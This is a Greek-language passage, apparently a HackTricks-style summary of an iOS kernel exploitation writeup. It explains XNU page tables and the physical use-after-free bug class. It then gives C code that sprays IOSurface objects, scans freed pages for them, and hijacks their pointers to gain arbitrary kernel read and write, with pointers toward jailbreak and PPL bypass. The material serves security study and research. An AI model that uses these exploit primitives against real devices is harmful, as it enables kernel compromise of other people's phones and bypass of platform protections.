iOS Exploiting

Reading time: 7 minutes

Physical use-after-free

Αυτή είναι μια περίληψη από την ανάρτηση από https://alfiecg.uk/2024/09/24/Kernel-exploit.html επιπλέον, περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο https://github.com/felix-pb/kfd

Memory management in XNU

Ο εικονικός χώρος διευθύνσεων μνήμης για τις διεργασίες χρήστη στο iOS εκτείνεται από 0x0 έως 0x8000000000. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο kernel χρησιμοποιεί πίνακες σελίδων για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές φυσικές διευθύνσεις.

Levels of Page Tables in iOS

Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:

  1. L1 Page Table (Επίπεδο 1):
  • Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
  • Καλύπτει 0x1000000000 bytes256 GB) εικονικής μνήμης.
  1. L2 Page Table (Επίπεδο 2):
  • Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα 0x2000000 bytes (32 MB).
  • Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της.
  1. L3 Page Table (Επίπεδο 3):
  • Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη 4 KB σελίδα μνήμης.
  • Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε ένα εύρος εικονικών διευθύνσεων σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
  • Pointer to Child Page Table:
  • Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν πίνακα παιδιών στο επόμενο επίπεδο (π.χ., L2).

Example: Mapping a Virtual Address

Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση 0x1000000000:

  1. L1 Table:
  • Ο kernel ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια δείκτη σε έναν πίνακα L2, πηγαίνει σε αυτόν τον πίνακα L2.
  1. L2 Table:
  • Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν πίνακα L3, προχωρά εκεί.
  1. L3 Table:
  • Ο kernel αναζητά την τελική εγγραφή L3, η οποία δείχνει στη φυσική διεύθυνση της πραγματικής σελίδας μνήμης.

Example of Address Mapping

Αν γράψετε τη φυσική διεύθυνση 0x800004000 στον πρώτο δείκτη του πίνακα L2, τότε:

  • Οι εικονικές διευθύνσεις από 0x1000000000 έως 0x1002000000 αντιστοιχούν σε φυσικές διευθύνσεις από 0x800004000 έως 0x802004000.
  • Αυτό είναι μια block mapping στο επίπεδο L2.

Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:

  • Κάθε σελίδα 4 KB στην εικονική διεύθυνση 0x1000000000 -> 0x1002000000 θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3.

Physical use-after-free

Μια φυσική χρήση μετά την απελευθέρωση (UAF) συμβαίνει όταν:

  1. Μια διεργασία κατανέμει κάποια μνήμη ως αναγνώσιμη και εγγράψιμη.
  2. Οι πίνακες σελίδων ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
  3. Η διεργασία απελευθερώνει (ελευθερώνει) τη μνήμη.
  4. Ωστόσο, λόγω ενός σφάλματος, ο kernel ξεχνά να αφαιρέσει την αντιστοίχιση από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
  5. Ο kernel μπορεί στη συνέχεια να ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη για άλλους σκοπούς, όπως δεδομένα του kernel.
  6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να διαβάσει και να γράψει σε αυτή τη φυσική μνήμη.

Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε σελίδες μνήμης του kernel, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να χειριστεί τη μνήμη του kernel.

Exploitation Strategy: Heap Spray

Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται heap spray:

  1. Ο επιτιθέμενος δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface στη μνήμη του kernel.
  2. Κάθε αντικείμενο IOSurface περιέχει μια μαγική τιμή σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
  3. Σαρώνονται οι ελεύθερες σελίδες για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface έχει προσγειωθεί σε μια ελεύθερη σελίδα.
  4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να διαβάσουν και να γράψουν τη μνήμη του kernel.

Περισσότερες πληροφορίες σχετικά με αυτό στο https://github.com/felix-pb/kfd/tree/main/writeups

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή").
  2. Scan Freed Pages: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα.
  3. Read/Write Kernel Memory: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν τυχαίες αναγνώσεις και εγγραφές στη μνήμη του kernel. Αυτό τους επιτρέπει:
  • Να χρησιμοποιούν ένα πεδίο για να διαβάσουν οποιαδήποτε 32-bit τιμή στη μνήμη του kernel.
  • Να χρησιμοποιούν ένα άλλο πεδίο για να γράψουν 64-bit τιμές, επιτυγχάνοντας μια σταθερή primitive ανάγνωσης/εγγραφής του kernel.

Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Αναζητήστε αντικείμενα IOSurface σε μία ελεύθερη φυσική σελίδα:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface

Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel.

Κύρια Πεδία στο IOSurface

Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:

  1. Δείκτης Χρήσης: Επιτρέπει μια 32-bit ανάγνωση.
  2. Δείκτης Χρονοσήμανσης: Επιτρέπει μια 64-bit εγγραφή.

Με την αντικατάσταση αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.

32-Bit Ανάγνωση Kernel

Για να εκτελέσετε μια ανάγνωση:

  1. Αντικαταστήστε τον δείκτη χρήσης ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte.
  2. Χρησιμοποιήστε τη μέθοδο get_use_count για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Για να εκτελέσετε μια εγγραφή:

  1. Επαναγράψτε τον δείκτη χρονοσήμανσης με δείκτη στη στοχευμένη διεύθυνση.
  2. Χρησιμοποιήστε τη μέθοδο set_indexed_timestamp για να γράψετε μια τιμή 64-bit.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Ανακεφαλαίωση Ροής Εκμετάλλευσης

  1. Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωσης: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
  2. Ψεκασμός Αντικειμένων IOSurface: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
  3. Εντοπισμός Προσβάσιμου IOSurface: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
  4. Κατάχρηση Χρήσης-Μετά-Απελευθέρωσης: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη ανάγνωση/εγγραφή πυρήνα μέσω μεθόδων IOSurface.

Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες 32-bit αναγνώσεις και 64-bit εγγραφές στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).